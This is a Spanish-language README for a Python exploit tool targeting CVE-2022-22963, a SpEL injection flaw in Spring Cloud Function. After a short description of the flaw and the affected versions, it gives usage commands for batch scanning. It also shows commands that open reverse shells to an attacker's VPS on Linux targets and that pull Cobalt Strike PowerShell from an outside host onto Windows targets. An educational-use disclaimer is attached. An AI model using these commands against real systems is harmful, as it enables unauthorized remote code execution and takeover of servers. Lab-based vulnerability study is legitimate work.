Vulnerabilidad de inyección de expresión SPEL en Spring Cloud Function (CVE-2022-22963)

Spring Framework proporciona un modelo integral de programación y configuración para aplicaciones empresariales modernas basadas en Java (en cualquier tipo de plataforma de implementación).

El método apply de la clase RoutingFunction en el framework sin servidor de Spring Cloud, Spring Cloud Function, procesa el parámetro "spring.cloud.function.routing-expression" del encabezado de la solicitud como una expresión Spel, lo que provoca la inyección de expresión Spel. Un atacante puede aprovechar esta vulnerabilidad para ejecutar código arbitrario.

Versiones afectadas: 3.0.0.RELEASE <= Spring Cloud Function <= 3.2.2

El script se proporciona únicamente con fines educativos. El autor no se hace responsable de ningún uso ilegal del mismo.

1.instalación (módulo de instalación)

pip3 install -r requirements.txt	

2.Uso (uso)

python3 spring-cloud-function-rce.py -h

-u Especifica una única URL para realizar la prueba de dnslog

-e Especifica el modo de shell inverso

-s Especifica el sistema operativo del host de destino; por defecto es linux. Los parámetros son win/linux Se utiliza junto con -i y -c

3.ejemplo (caso de uso)

3.1 Prueba de una única URL

python3 spring-cloud-function-rce.py -u "http://192.168.50.222:8080/"

3.2 Prueba de múltiples URLs

python3 spring-cloud-function-rce.py -f "urls.txt"

• 123.58.236.76:47874 es la plataforma de laboratorio docker de vulfocus y no tiene instalado el comando nslookup, por lo que la prueba de dnslog falló.
• La URL de lote debe ser el directorio raíz del sitio web. http://192.168.50.222:8080/ es el directorio raíz del laboratorio local. Si se agrega el directorio test, el PoC fallará.

3.3 Obtener shell en un objetivo Linux

python3 spring-cloud-function-rce.py -u "http://192.168.50.222:8080/" -e -i "ip_de_tu_vps:5566"

3.4 Obtener shell en un objetivo Windows

python3 spring-cloud-function-rce.py -u "http://192.168.50.222:8080/" -e -s "win" -c "http://vps/a"

-c especifica la dirección del código de PowerShell generado por Cobalt Strike para la conexión. Debe usarse junto con -s "win". La opción -c debe ejecutarse en un sistema Windows para que el script pueda invocar PowerShell para codificar el PoC.

4. Laboratorio

4.1 Configuración manual con IntelliJ IDEA

Referencia

4.2 Laboratorio Docker

vulfocus